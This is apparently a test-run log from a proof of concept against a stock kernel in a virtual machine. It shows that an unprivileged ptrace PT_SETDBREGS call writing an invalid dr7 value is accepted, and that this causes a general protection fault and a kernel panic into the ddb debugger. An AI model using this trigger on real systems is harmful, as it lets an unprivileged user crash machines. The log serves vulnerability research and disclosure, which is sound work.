=== run.2.log: stock kernel, attack: /tmp/poc 2 (dr7=0xdeadbeef00000000) ===
[*] child 1136 stopped (sig 17)
[+] PT_SETDBREGS(dr7=0xdeadbeef00000000) ACCEPTED by kernel
[*] PT_CONTINUE -> tracee switches in -> movq %rax,%dr7
(ssh output ends here - connection dies; timeout wrapper returns; vm.sh status -> down)

=== serial console (vm.sh log) ===
Fatal trap 9: general protection fault while in kernel mode
cpuid = 0; lapic id = 0
instruction pointer	= 0x8:0xffffffff80bcbf0b
stack pointer	        = 0x10:0xfffff80117ffb700
frame pointer	        = 0x10:0xfffff80117ffb748
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 1136
current thread          = pri 10 (CRIT)
kernel: type 9 trap, code=0

CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      cpu_heavy_restore+0x1ab:        movl    %eax,%dr7
db>

(guest wedged in ddb with all CPUs stopped; ssh dead; vm.sh status -> down.
"current process = 1136" is the traced child of the uid-1001 PoC run.)